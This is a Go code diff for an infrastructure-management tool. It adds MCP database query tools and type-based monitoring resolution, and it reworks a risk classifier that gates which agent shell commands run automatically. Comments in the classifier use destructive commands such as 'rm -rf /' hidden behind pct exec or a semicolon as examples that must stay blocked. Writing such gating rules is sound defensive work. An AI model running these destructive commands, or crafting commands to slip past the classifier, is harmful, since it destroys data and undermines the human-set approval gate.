||||||
|
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
||||||
|
args := argsMap(req)
|
||||||
|
threshold := getFloat(args, "threshold", 0.6)
|
||||||
|
return queryRows(ctx, pool, `
|
||||||
|
SELECT a.slug AS doc_a, b.slug AS doc_b, similarity(ka.title, kb.title) AS sim
|
||||||
|
FROM knowledge_entities ka
|
||||||
|
JOIN knowledge_entities kb ON ka.entity_id < kb.entity_id
|
||||||
|
JOIN entities a ON a.id = ka.entity_id
|
||||||
|
JOIN entities b ON b.id = kb.entity_id
|
||||||
|
WHERE ka.deleted_at IS NULL AND kb.deleted_at IS NULL
|
||||||
|
AND similarity(ka.title, kb.title) > $1
|
||||||
|
ORDER BY sim DESC LIMIT 100`, threshold), nil
|
||||||
|
}},
|
||||||
|
|
||||||
|
{tool: &mcp.Tool{Name: "get_knowledge_orphans", Description: "Knowledge entries with no entity links (unlinked), no tags (untagged), or stale (not updated in N days). Helps identify abandoned or disconnected knowledge to clean up.",
|
||||||
|
InputSchema: objSchema(
|
||||||
|
prop{"stale_days", "integer", "Days without update to consider stale (default 90)"}),
|
||||||
|
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
||||||
|
args := argsMap(req)
|
||||||
|
staleDays := int(getFloat(args, "stale_days", 90))
|
||||||
|
return queryRows(ctx, pool, fmt.Sprintf(`
|
||||||
|
SELECT e.slug, ke.title, e.type AS kind, COALESCE(ke.edited_by, '') AS edited_by,
|
||||||
|
ke.updated_at::text,
|
||||||
|
(ke.tags IS NULL OR cardinality(ke.tags) = 0) AS untagged,
|
||||||
|
NOT EXISTS (
|
||||||
|
SELECT 1 FROM relationships r
|
||||||
|
WHERE r.source_id = ke.entity_id AND r.valid_to IS NULL
|
||||||
|
AND r.type IN ('documents', 'about')
|
||||||
|
) AS unlinked,
|
||||||
|
(ke.updated_at < now() - interval '%d days') AS stale
|
||||||
|
FROM knowledge_entities ke
|
||||||
|
JOIN entities e ON e.id = ke.entity_id
|
||||||
|
WHERE ke.deleted_at IS NULL
|
||||||
|
ORDER BY ke.updated_at ASC`, staleDays)), nil
|
||||||
|
}},
|
||||||
|
|
||||||
|
{tool: &mcp.Tool{Name: "list_knowledge_tags", Description: "All tags used across the knowledge base with usage counts. Returns normalized tag, count, and any casing variants (e.g. 'oom' and 'OOM' surface as variants so you can spot drift).",
|
||||||
|
InputSchema: objSchema(),
|
||||||
|
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
||||||
|
return queryRows(ctx, pool, `
|
||||||
|
SELECT lower(tag) AS tag, count(*) AS uses,
|
||||||
|
array_agg(DISTINCT tag ORDER BY tag) AS variants
|
||||||
|
FROM knowledge_entities ke, unnest(ke.tags) AS tag
|
||||||
|
WHERE ke.deleted_at IS NULL
|
||||||
|
GROUP BY lower(tag) ORDER BY uses DESC, lower(tag)`), nil
|
||||||
|
}},
|
||||||
|
|
||||||
|
{tool: &mcp.Tool{Name: "list_entity_sessions", Description: "Active Nomos sessions (tasks) linked to an entity. Shows goal, status, outcome, and when the session was last active. Use to discover what agents are working on related to this entity.",
|
||||||
|
InputSchema: objSchema(
|
||||||
|
prop{"entity_slug", "string", "Entity slug to find sessions for"}),
|
||||||
|
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
||||||
|
args := argsMap(req)
|
||||||
|
slug, _ := args["entity_slug"].(string)
|
||||||
|
return queryRows(ctx, pool, `
|
||||||
|
SELECT DISTINCT as2.id, as2.title, as2.goal, as2.status, as2.outcome,
|
||||||
|
as2.summary, as2.last_active_at::text, as2.closed_at::text
|
||||||
|
FROM agent_sessions as2
|
||||||
|
JOIN nomos_plan_executions npe ON npe.session_id = as2.id
|
||||||
|
JOIN executions ex ON ex.entity_id = npe.execution_id
|
||||||
|
JOIN entities te ON te.id = ex.target_entity_id
|
||||||
|
WHERE te.slug = $1 AND as2.closed_at IS NULL
|
||||||
|
ORDER BY as2.last_active_at DESC LIMIT 20`, slug), nil
|
||||||
|
}},
|
||||||
|
|
||||||
|
{tool: &mcp.Tool{Name: "find_entities_by", Description: "Search entities by discovered attributes — IP address, port, version string, tag, or any key in the attributes JSONB blob. More flexible than list_entities (which filters by type/state only). Use for reverse lookups: 'what runs on port 8096?' or 'which entities have version 2.4?'",
|
||||||
|
InputSchema: objSchema(
|
||||||
|
prop{"key", "string", "Attribute key to search (e.g. ip, port, version, tag)"},
|
||||||
|
prop{"value", "string", "Value to match (case-insensitive substring)"},
|
||||||
|
prop{"limit", "integer", "Max results (default 25)"}),
|
||||||
|
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
||||||
|
args := argsMap(req)
|
||||||
|
key, _ := args["key"].(string)
|
||||||
|
val, _ := args["value"].(string)
|
||||||
|
limit := int(getFloat(args, "limit", 25))
|
||||||
|
return queryRows(ctx, pool, `
|
||||||
|
SELECT e.slug, e.type, e.name, e.state, e.attributes->>$1 AS matched_value
|
||||||
|
FROM entities e
|
||||||
|
WHERE e.attributes ? $1
|
||||||
|
AND e.attributes->>$1 ILIKE '%'||$2||'%'
|
||||||
|
ORDER BY e.slug
|
||||||
|
LIMIT $3`, key, val, limit), nil
|
||||||
|
}},
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// formatCheckResult renders a human-readable summary of what check derivation
|
||||||
|
// did, appended to a base status message. Shared by create_entity and
|
||||||
|
// update_entity_attributes so both surface the same check-regeneration signal
|
||||||
|
// (created / undeclared / skipped) to the agent.
|
||||||
|
func formatCheckResult(res checkdefaults.Result) string {
|
||||||
|
var b strings.Builder
|
||||||
|
if res.Created > 0 {
|
||||||
|
fmt.Fprintf(&b, " Derived %d check(s).", res.Created)
|
||||||
|
}
|
||||||
|
if res.Undeclared {
|
||||||
|
b.WriteString(" Type declares no monitoring — no checks derived (set the entity's `monitoring` attribute and call update_entity_attributes to regenerate).")
|
||||||
|
}
|
||||||
|
for _, s := range res.Skipped {
|
||||||
|
fmt.Fprintf(&b, " Skipped %s (%s).", s.Kind, s.Reason)
|
||||||
|
}
|
||||||
|
return b.String()
|
||||||
|
}
|
||||||
|
|
||||||
|
func formatCreateResult(slug, entityType string, res checkdefaults.Result) string {
|
||||||
|
return fmt.Sprintf("Created %s (%s).%s", slug, entityType, formatCheckResult(res))
|
||||||
|
}
|
||||||
|
|
||||||
|
// rowsToMap runs a SELECT key, value query and returns the result as a
|
||||||
|
// map[string]any. Used by get_dashboard_summary to aggregate count queries.
|
||||||
|
func rowsToMap(ctx context.Context, pool *db.Pool, query string, args ...any) map[string]any {
|
||||||
|
m := map[string]any{}
|
||||||
|
rows, err := pool.Query(ctx, query, args...)
|
||||||
|
if err != nil {
|
||||||
|
return m
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
for rows.Next() {
|
||||||
|
var key string
|
||||||
|
var val int
|
||||||
|
if rows.Scan(&key, &val) == nil {
|
||||||
|
m[key] = val
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return m
|
||||||
|
}
|
||||||
|
|
||||||
|
// queryRowsJSONSingle runs a query and returns the rows as a parsed JSON array
|
||||||
|
// of maps. Used by get_ontology to embed sub-queries into a structured result.
|
||||||
|
func queryRowsJSONSingle(ctx context.Context, pool *db.Pool, query string, args ...any) []map[string]any {
|
||||||
|
rows, err := pool.Query(ctx, query, args...)
|
||||||
|
if err != nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
|
||||||
|
cols := rows.FieldDescriptions()
|
||||||
|
var items []map[string]any
|
||||||
|
for rows.Next() {
|
||||||
|
vals, err := rows.Values()
|
||||||
|
if err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
m := make(map[string]any)
|
||||||
|
for i, col := range cols {
|
||||||
|
m[string(col.Name)] = fmt.Sprintf("%v", vals[i])
|
||||||
|
}
|
||||||
|
items = append(items, m)
|
||||||
|
}
|
||||||
|
return items
|
||||||
|
}
|
||||||
|
|||||||
@@ -16,7 +16,7 @@ import (
|
|||||||
// starts being populated when OIDC identity resolution lands.
|
// starts being populated when OIDC identity resolution lands.
|
||||||
func Audit(ctx context.Context, q *sqlcgen.Queries, actorType, actorLabel,
|
func Audit(ctx context.Context, q *sqlcgen.Queries, actorType, actorLabel,
|
||||||
action string, entityID *uuid.UUID, method, path, correlationID string,
|
action string, entityID *uuid.UUID, method, path, correlationID string,
|
||||||
detail map[string]any) error {
|
sessionID *uuid.UUID, detail map[string]any) error {
|
||||||
|
|
||||||
if detail == nil {
|
if detail == nil {
|
||||||
detail = map[string]any{}
|
detail = map[string]any{}
|
||||||
@@ -36,6 +36,7 @@ func Audit(ctx context.Context, q *sqlcgen.Queries, actorType, actorLabel,
|
|||||||
Path: &path,
|
Path: &path,
|
||||||
Detail: detailJSON,
|
Detail: detailJSON,
|
||||||
CorrelationID: corr,
|
CorrelationID: corr,
|
||||||
|
SessionID: sessionID,
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
90
internal/ontology/monitoring.go
Normal file
90
internal/ontology/monitoring.go
Normal file
@@ -0,0 +1,90 @@
|
|||||||
|
package ontology
|
||||||
|
|
||||||
|
// Monitoring resolution: which check kinds an entity type warrants.
|
||||||
|
//
|
||||||
|
// Coverage is not uniform. A `service` warrants an HTTP probe; a `site` is a
|
||||||
|
// physical location with nothing to probe; a `dns-zone` warrants a check whose
|
||||||
|
// checker does not exist yet. Collapsing those three into "has no check_def"
|
||||||
|
// is what made the fleet's monitoring gap invisible — 86 of 89 active entities
|
||||||
|
// had no check, and staleSweep's INNER JOIN against check_defs meant none of
|
||||||
|
// them could ever be marked stale.
|
||||||
|
//
|
||||||
|
// So the declaration lives on the entity TYPE, in seeds/ontology.yaml, and
|
||||||
|
// resolves through the same is-a hierarchy the validator already walks:
|
||||||
|
// declaring `monitoring: [ping, resource]` on abstract `machine` covers
|
||||||
|
// proxmox-host, standalone-server, workstation and appliance.
|
||||||
|
|
||||||
|
// MonitoringResolution is the outcome of resolving a type's monitoring
|
||||||
|
// declaration. The three states are deliberately distinguishable:
|
||||||
|
//
|
||||||
|
// Declared=false — nobody in the chain said anything. An ontology
|
||||||
|
// gap: report it, but as a modelling problem
|
||||||
|
// rather than as a fleet monitoring problem.
|
||||||
|
// Declared=true, len(0) — explicitly unmonitorable. Working as intended;
|
||||||
|
// never raise an `unmonitored` signal for it.
|
||||||
|
// Declared=true, len(n) — these kinds are expected to exist.
|
||||||
|
type MonitoringResolution struct {
|
||||||
|
Kinds []string
|
||||||
|
|
||||||
|
// Declared reports whether anything in the chain (or the layer default)
|
||||||
|
// settled the question.
|
||||||
|
Declared bool
|
||||||
|
|
||||||
|
// Source names the type that supplied the answer — the type itself, an
|
||||||
|
// ancestor, or "" when the layer default applied. Useful in log lines
|
||||||
|
// that explain why an entity has the checks it has.
|
||||||
|
Source string
|
||||||
|
}
|
||||||
|
|
||||||
|
// None reports an explicit "this type is not monitored".
|
||||||
|
func (m MonitoringResolution) None() bool {
|
||||||
|
return m.Declared && len(m.Kinds) == 0
|
||||||
|
}
|
||||||
|
|
||||||
|
// Wants reports whether the type expects a check of this kind.
|
||||||
|
func (m MonitoringResolution) Wants(kind string) bool {
|
||||||
|
for _, k := range m.Kinds {
|
||||||
|
if k == kind {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
// Monitoring resolves the check kinds a type warrants, walking parent types
|
||||||
|
// until one carries a declaration.
|
||||||
|
//
|
||||||
|
// Types outside the infrastructure layer (governance, cognition, meta) fall
|
||||||
|
// back to an implicit "none": a signal, an approval, a document and a person
|
||||||
|
// are records, not running things. That default keeps ~20 record types out of
|
||||||
|
// the ontology without needing an explicit `monitoring: none` on each, while
|
||||||
|
// still treating an undeclared *infrastructure* type as a genuine gap — those
|
||||||
|
// are the ones somebody should have made a decision about. A non-infrastructure
|
||||||
|
// type that really is probeable (agent, which serves a gateway on :8092) just
|
||||||
|
// declares its kinds explicitly and wins on the first rule.
|
||||||
|
func (t *TypeTree) Monitoring(typ string) MonitoringResolution {
|
||||||
|
seen := map[string]bool{}
|
||||||
|
for cur := typ; cur != ""; cur = t.Types[cur].Parent {
|
||||||
|
info, ok := t.Types[cur]
|
||||||
|
if !ok {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
if seen[cur] {
|
||||||
|
break // cycle guard — ingest rejects cycles, belt and braces
|
||||||
|
}
|
||||||
|
seen[cur] = true
|
||||||
|
|
||||||
|
if info.Monitoring != nil {
|
||||||
|
return MonitoringResolution{
|
||||||
|
Kinds: *info.Monitoring,
|
||||||
|
Declared: true,
|
||||||
|
Source: cur,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if info, ok := t.Types[typ]; ok && info.Layer != "infrastructure" {
|
||||||
|
return MonitoringResolution{Declared: true}
|
||||||
|
}
|
||||||
|
return MonitoringResolution{}
|
||||||
|
}
|
||||||
121
internal/ontology/monitoring_test.go
Normal file
121
internal/ontology/monitoring_test.go
Normal file
@@ -0,0 +1,121 @@
|
|||||||
|
package ontology
|
||||||
|
|
||||||
|
import (
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
func kinds(v ...string) *[]string {
|
||||||
|
s := append([]string{}, v...)
|
||||||
|
return &s
|
||||||
|
}
|
||||||
|
|
||||||
|
// monitoringTree mirrors the real shape of seeds/ontology.yaml: a declaration
|
||||||
|
// on an abstract type that concrete subtypes inherit, an explicit none on a
|
||||||
|
// topological type, a probeable type outside the infrastructure layer, and an
|
||||||
|
// undeclared infrastructure type (the ontology gap this is meant to catch).
|
||||||
|
func monitoringTree() *TypeTree {
|
||||||
|
return &TypeTree{
|
||||||
|
Types: map[string]TypeInfo{
|
||||||
|
"entity": {IsAbstract: true, Layer: "meta"},
|
||||||
|
"compute-entity": {Parent: "entity", IsAbstract: true, Layer: "infrastructure"},
|
||||||
|
"machine": {Parent: "compute-entity", IsAbstract: true, Layer: "infrastructure",
|
||||||
|
Monitoring: kinds("ping", "resource")},
|
||||||
|
"proxmox-host": {Parent: "machine", Layer: "infrastructure"},
|
||||||
|
"workstation": {Parent: "machine", Layer: "infrastructure"},
|
||||||
|
"service": {Parent: "entity", Layer: "infrastructure", Monitoring: kinds("http", "process")},
|
||||||
|
"site": {Parent: "entity", Layer: "infrastructure", Monitoring: kinds()},
|
||||||
|
"vlan": {Parent: "entity", Layer: "infrastructure"}, // undeclared: a gap
|
||||||
|
"agent": {Parent: "entity", Layer: "governance", Monitoring: kinds("http")},
|
||||||
|
"signal": {Parent: "entity", Layer: "cognition"},
|
||||||
|
"document": {Parent: "entity", Layer: "governance"},
|
||||||
|
},
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestMonitoringResolvesThroughHierarchy(t *testing.T) {
|
||||||
|
tree := monitoringTree()
|
||||||
|
|
||||||
|
cases := []struct {
|
||||||
|
typ string
|
||||||
|
wantKinds []string
|
||||||
|
wantDecl bool
|
||||||
|
wantSource string
|
||||||
|
desc string
|
||||||
|
}{
|
||||||
|
{"machine", []string{"ping", "resource"}, true, "machine", "declared on itself"},
|
||||||
|
{"proxmox-host", []string{"ping", "resource"}, true, "machine", "inherited from abstract parent"},
|
||||||
|
{"workstation", []string{"ping", "resource"}, true, "machine", "inherited by a sibling too"},
|
||||||
|
{"service", []string{"http", "process"}, true, "service", "declared on itself"},
|
||||||
|
{"site", nil, true, "site", "explicitly none — not a gap"},
|
||||||
|
{"agent", []string{"http"}, true, "agent", "explicit declaration beats the layer default"},
|
||||||
|
{"signal", nil, true, "", "cognition layer is implicitly none"},
|
||||||
|
{"document", nil, true, "", "governance layer is implicitly none"},
|
||||||
|
{"vlan", nil, false, "", "undeclared infrastructure type is a genuine gap"},
|
||||||
|
{"nonexistent", nil, false, "", "unknown type resolves to undeclared"},
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, c := range cases {
|
||||||
|
got := tree.Monitoring(c.typ)
|
||||||
|
if got.Declared != c.wantDecl {
|
||||||
|
t.Errorf("%s (%s): Declared = %v, want %v", c.typ, c.desc, got.Declared, c.wantDecl)
|
||||||
|
}
|
||||||
|
if got.Source != c.wantSource {
|
||||||
|
t.Errorf("%s (%s): Source = %q, want %q", c.typ, c.desc, got.Source, c.wantSource)
|
||||||
|
}
|
||||||
|
if len(got.Kinds) != len(c.wantKinds) {
|
||||||
|
t.Errorf("%s (%s): Kinds = %v, want %v", c.typ, c.desc, got.Kinds, c.wantKinds)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
for i, k := range c.wantKinds {
|
||||||
|
if got.Kinds[i] != k {
|
||||||
|
t.Errorf("%s (%s): Kinds[%d] = %q, want %q", c.typ, c.desc, i, got.Kinds[i], k)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// The distinction between these two is what keeps coverageSweep from raising
|
||||||
|
// permanent, unresolvable signals against entities that are working as intended.
|
||||||
|
func TestMonitoringNoneIsNotTheSameAsUndeclared(t *testing.T) {
|
||||||
|
tree := monitoringTree()
|
||||||
|
|
||||||
|
site := tree.Monitoring("site")
|
||||||
|
if !site.None() {
|
||||||
|
t.Error("site declared `monitoring: none`, expected None() to report true")
|
||||||
|
}
|
||||||
|
|
||||||
|
vlan := tree.Monitoring("vlan")
|
||||||
|
if vlan.None() {
|
||||||
|
t.Error("vlan declared nothing at all — None() must not claim it opted out")
|
||||||
|
}
|
||||||
|
if vlan.Declared {
|
||||||
|
t.Error("vlan is an undeclared infrastructure type; it should read as a gap")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestMonitoringWants(t *testing.T) {
|
||||||
|
tree := monitoringTree()
|
||||||
|
|
||||||
|
svc := tree.Monitoring("service")
|
||||||
|
if !svc.Wants("http") {
|
||||||
|
t.Error("service should want an http check")
|
||||||
|
}
|
||||||
|
if svc.Wants("resource") {
|
||||||
|
t.Error("service should not want a resource check")
|
||||||
|
}
|
||||||
|
if tree.Monitoring("site").Wants("http") {
|
||||||
|
t.Error("an explicitly unmonitorable type wants nothing")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestMonitoringSurvivesParentCycle(t *testing.T) {
|
||||||
|
// The ingest rejects cycles; this guards the walker regardless.
|
||||||
|
tree := &TypeTree{Types: map[string]TypeInfo{
|
||||||
|
"a": {Parent: "b", Layer: "infrastructure"},
|
||||||
|
"b": {Parent: "a", Layer: "infrastructure"},
|
||||||
|
}}
|
||||||
|
got := tree.Monitoring("a")
|
||||||
|
if got.Declared {
|
||||||
|
t.Errorf("cyclic chain declared nothing, got %+v", got)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -20,6 +20,13 @@ type TypeInfo struct {
|
|||||||
Parent string
|
Parent string
|
||||||
IsAbstract bool
|
IsAbstract bool
|
||||||
LifecycleID string
|
LifecycleID string
|
||||||
|
Layer string
|
||||||
|
|
||||||
|
// Monitoring is this type's own `monitoring:` declaration, or nil if it
|
||||||
|
// declared nothing (in which case the answer comes from an ancestor, or
|
||||||
|
// from the layer default). A non-nil pointer to an empty slice means
|
||||||
|
// "explicitly unmonitorable" — see TypeTree.Monitoring.
|
||||||
|
Monitoring *[]string
|
||||||
}
|
}
|
||||||
|
|
||||||
// RelTypeInfo is the subset of a relationship type the validator needs.
|
// RelTypeInfo is the subset of a relationship type the validator needs.
|
||||||
|
|||||||
@@ -77,8 +77,49 @@ var readOnlyLeadPattern = regexp.MustCompile(
|
|||||||
`docker\s+compose\s+(logs|ps|top|config|images|port|cp)\b|` +
|
`docker\s+compose\s+(logs|ps|top|config|images|port|cp)\b|` +
|
||||||
`pct\s+(status|config|list)|qm\s+(status|config|list)|pvesh\s+get|` +
|
`pct\s+(status|config|list)|qm\s+(status|config|list)|pvesh\s+get|` +
|
||||||
`rclone\s+(ls|lsl|md5sum|check|cryptcheck)\b|` +
|
`rclone\s+(ls|lsl|md5sum|check|cryptcheck)\b|` +
|
||||||
`git\s+(status|log|diff|show|branch|remote)|` +
|
`git\s+(status|log|diff|show|branch|remote))\b`)
|
||||||
`curl\s+-.*-I\b|curl\s+.*--head\b)\b`)
|
|
||||||
|
// envAssignRe matches leading FOO=bar env-var assignments so they can be
|
||||||
|
// stripped before the read-only verb check.
|
||||||
|
var envAssignRe = regexp.MustCompile(`^(\w+=\S+\s+)+`)
|
||||||
|
|
||||||
|
// pctExecRe matches "pct exec <id> [--] <inner>" and captures <inner>. The
|
||||||
|
// id is a decimal digit string (Proxmox CT ids). The "--" separator is
|
||||||
|
// optional but recommended — without it, the rest of the line is the
|
||||||
|
// command passed to exec. Case-insensitive.
|
||||||
|
var pctExecRe = regexp.MustCompile(`(?i)^pct\s+exec\s+\d+\s+(?:--\s+)?(.+)$`)
|
||||||
|
|
||||||
|
// qmGuestExecRe matches "qm guest exec <id> [--] <inner>" similarly.
|
||||||
|
var qmGuestExecRe = regexp.MustCompile(`(?i)^qm\s+guest\s+exec\s+\d+\s+(?:--\s+)?(.+)$`)
|
||||||
|
|
||||||
|
// shellDashCRe matches "bash -c 'cmd'", "sh -c \"cmd\"" etc., capturing
|
||||||
|
// the quoted inner command. Handles single-quoted, double-quoted, and bare
|
||||||
|
// (unquoted) forms.
|
||||||
|
var shellDashCRe = regexp.MustCompile(`(?i)^(?:ba)?sh\s+-c\s+(?:"([^"]*)"|'([^']*)'|(\S+))\s*$`)
|
||||||
|
|
||||||
|
// curlLeadRe matches a curl command (the verb alone, at the segment start).
|
||||||
|
var curlLeadRe = regexp.MustCompile(`(?i)^curl\b`)
|
||||||
|
|
||||||
|
// curlMutateRe matches curl flags that indicate mutation (POST/PUT/DELETE
|
||||||
|
// method override, data payloads, form uploads, file uploads, file output).
|
||||||
|
// When any of these appears, the curl command is no longer read-only.
|
||||||
|
var curlMutateRe = regexp.MustCompile(`(?i)(?:^|\s)-X\s+(?:post|put|delete|patch|connect|trace)\b|(?:^|\s)-(?:d|F|T|o)\b|(?:^|\s)--(?:data[-a-z]*|request|form|upload-file|output)\b`)
|
||||||
|
|
||||||
|
// curlDevNullOutRe matches curl output redirected to /dev/null in any of curl's
|
||||||
|
// argument forms (space, =, or attached). /dev/null is a no-op sink, so a GET
|
||||||
|
// that discards its body — the canonical reachability idiom
|
||||||
|
// `curl -o /dev/null -w '%{http_code}' URL` — is read-only. Output to any real
|
||||||
|
// path (-o /tmp/x) stays a potential mutation. Stripped before curlMutateRe so
|
||||||
|
// the remaining flags (-X, -d, ...) still classify correctly: a
|
||||||
|
// `curl -o /dev/null -X POST` stays config_mutation.
|
||||||
|
var curlDevNullOutRe = regexp.MustCompile(`(?i)(^|\s)-o\s*/dev/null(\s|$)|(^|\s)--output[=\s]\s*/dev/null(\s|$)`)
|
||||||
|
|
||||||
|
// redirectOutRe matches shell output redirection to a file (> or >> followed
|
||||||
|
// by a path), but excludes the file-descriptor merge form `>&<digit>` (e.g.
|
||||||
|
// `2>&1`) which only rearranges streams and writes nothing to disk. RE2 has
|
||||||
|
// no lookahead, so we encode the exclusion by requiring the post-`>` char to
|
||||||
|
// be neither `&` nor whitespace.
|
||||||
|
var redirectOutRe = regexp.MustCompile(`(^|[^-])>>?\s*[^&\s]`)
|
||||||
|
|
||||||
// compoundSplitRe splits a command on shell chaining operators (;, &&, ||, |)
|
// compoundSplitRe splits a command on shell chaining operators (;, &&, ||, |)
|
||||||
// so each segment can be individually classified. A piped or chained command
|
// so each segment can be individually classified. A piped or chained command
|
||||||
@@ -130,16 +171,29 @@ func computeCommandRisk(command string) string {
|
|||||||
return RiskConfigMutation
|
return RiskConfigMutation
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Unwrap known wrappers (pct exec <id> --, qm guest exec <id> --,
|
||||||
|
// bash -c '…', sh -c '…', sudo, env assignments) so the classifier
|
||||||
|
// scores the *actual* command, not the wrapper. Without this, every
|
||||||
|
// `pct exec 132 systemctl status rclone-backup.timer` escalates to
|
||||||
|
// config_mutation even though the inner command is read-only inspection.
|
||||||
|
// See plans/2026-07-20-session-review-ten-sessions.md P0.1 — three
|
||||||
|
// sessions bounced off the classifier because read-only `pct exec` and
|
||||||
|
// `curl` were gated as config_mutation.
|
||||||
|
inner := unwrapCommand(cmd)
|
||||||
|
|
||||||
for _, p := range destructivePatterns {
|
for _, p := range destructivePatterns {
|
||||||
if p.MatchString(cmd) {
|
// Match on both the raw and unwrapped forms so that
|
||||||
|
// `pct exec 121 -- rm -rf /` is still destructive even if the
|
||||||
|
// unwrapping somehow hid it.
|
||||||
|
if p.MatchString(inner) || p.MatchString(cmd) {
|
||||||
return RiskDestructive
|
return RiskDestructive
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// Subshell substitution ($(), backticks) can hide arbitrary execution —
|
// Subshell substitution ($(), backticks) can hide arbitrary execution —
|
||||||
// never auto-run, even if the visible verbs look read-only.
|
// never auto-run, even if the visible verbs look read-only.
|
||||||
if !subshellRe.MatchString(cmd) {
|
if !subshellRe.MatchString(inner) {
|
||||||
if allSegmentsReadOnly(cmd) {
|
if allSegmentsReadOnly(inner) {
|
||||||
return RiskReadOnly
|
return RiskReadOnly
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -149,6 +203,70 @@ func computeCommandRisk(command string) string {
|
|||||||
return RiskConfigMutation
|
return RiskConfigMutation
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// unwrapCommand peels known command wrappers to expose the inner command
|
||||||
|
// for classification. It repeatedly strips:
|
||||||
|
// - leading sudo
|
||||||
|
// - leading FOO=bar env-var assignments
|
||||||
|
// - `pct exec <id> [--] <inner>` → <inner>
|
||||||
|
// - `qm guest exec <id> [--] <inner>` → <inner>
|
||||||
|
// - `bash -c 'cmd'` / `sh -c "cmd"` → <cmd>
|
||||||
|
//
|
||||||
|
// When no wrapper is detected, the input is returned unchanged. The peel
|
||||||
|
// is iterative so "sudo pct exec 121 -- bash -c 'echo hi'" reduces to
|
||||||
|
// "echo hi" after a few passes. Compound commands (containing ;, &&, ||,
|
||||||
|
// |) are returned unchanged — they need per-segment classification, which
|
||||||
|
// the caller handles.
|
||||||
|
func unwrapCommand(cmd string) string {
|
||||||
|
probe := strings.TrimSpace(cmd)
|
||||||
|
// A compound command cannot be unwrapped as a whole — the inner
|
||||||
|
// command of "pct exec 121 -- foo; rm -rf /" depends on which side of
|
||||||
|
// the ";" you're on. The caller splits compounds before classifying
|
||||||
|
// each segment, and each segment is unwrapped independently. Bail out
|
||||||
|
// here so we don't unwrap "pct exec 121 -- foo" and lose the rest.
|
||||||
|
if compoundOpPattern.MatchString(probe) {
|
||||||
|
return probe
|
||||||
|
}
|
||||||
|
for i := 0; i < 8; i++ { // bounded unwrap depth
|
||||||
|
next := peelOneWrapper(probe)
|
||||||
|
if next == probe {
|
||||||
|
return probe
|
||||||
|
}
|
||||||
|
probe = strings.TrimSpace(next)
|
||||||
|
}
|
||||||
|
return probe
|
||||||
|
}
|
||||||
|
|
||||||
|
// peelOneWrapper applies one peel step. Returns the input unchanged if no
|
||||||
|
// wrapper matched.
|
||||||
|
func peelOneWrapper(probe string) string {
|
||||||
|
// sudo prefix
|
||||||
|
if stripped := strings.TrimPrefix(probe, "sudo "); stripped != probe {
|
||||||
|
return strings.TrimSpace(stripped)
|
||||||
|
}
|
||||||
|
// Env assignments: FOO=bar BAZ=qux <cmd>
|
||||||
|
if envAssignRe.MatchString(probe) {
|
||||||
|
return envAssignRe.ReplaceAllString(probe, "")
|
||||||
|
}
|
||||||
|
// pct exec <id> [--] <inner>
|
||||||
|
if m := pctExecRe.FindStringSubmatch(probe); m != nil {
|
||||||
|
return m[1]
|
||||||
|
}
|
||||||
|
// qm guest exec <id> [--] <inner>
|
||||||
|
if m := qmGuestExecRe.FindStringSubmatch(probe); m != nil {
|
||||||
|
return m[1]
|
||||||
|
}
|
||||||
|
// bash -c 'cmd' / sh -c "cmd" / sh -c cmd
|
||||||
|
if m := shellDashCRe.FindStringSubmatch(probe); m != nil {
|
||||||
|
// m[1] is the double-quoted form, m[2] is single-quoted, m[3] is bare.
|
||||||
|
for _, g := range m[1:] {
|
||||||
|
if g != "" {
|
||||||
|
return g
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return probe
|
||||||
|
}
|
||||||
|
|
||||||
// allSegmentsReadOnly splits a compound command on chaining operators
|
// allSegmentsReadOnly splits a compound command on chaining operators
|
||||||
// (;, &&, ||, |) and checks whether EVERY segment is a recognized read-only
|
// (;, &&, ||, |) and checks whether EVERY segment is a recognized read-only
|
||||||
// inspection verb. If so, the whole command is safe to auto-run. Any segment
|
// inspection verb. If so, the whole command is safe to auto-run. Any segment
|
||||||
@@ -161,14 +279,53 @@ func allSegmentsReadOnly(cmd string) bool {
|
|||||||
if seg == "" {
|
if seg == "" {
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
|
// Unwrap wrappers per-segment too — "pct exec 121 -- systemctl
|
||||||
|
// status caddy; pct exec 122 -- journalctl -u caddy" should reduce
|
||||||
|
// to two read-only segments after unwrapping each.
|
||||||
|
seg = unwrapCommand(seg)
|
||||||
// Strip a leading sudo/env assignment so "sudo cat /x" still matches.
|
// Strip a leading sudo/env assignment so "sudo cat /x" still matches.
|
||||||
probe := seg
|
probe := seg
|
||||||
probe = regexp.MustCompile(`^sudo\s+`).ReplaceAllString(probe, "")
|
probe = strings.TrimPrefix(probe, "sudo ")
|
||||||
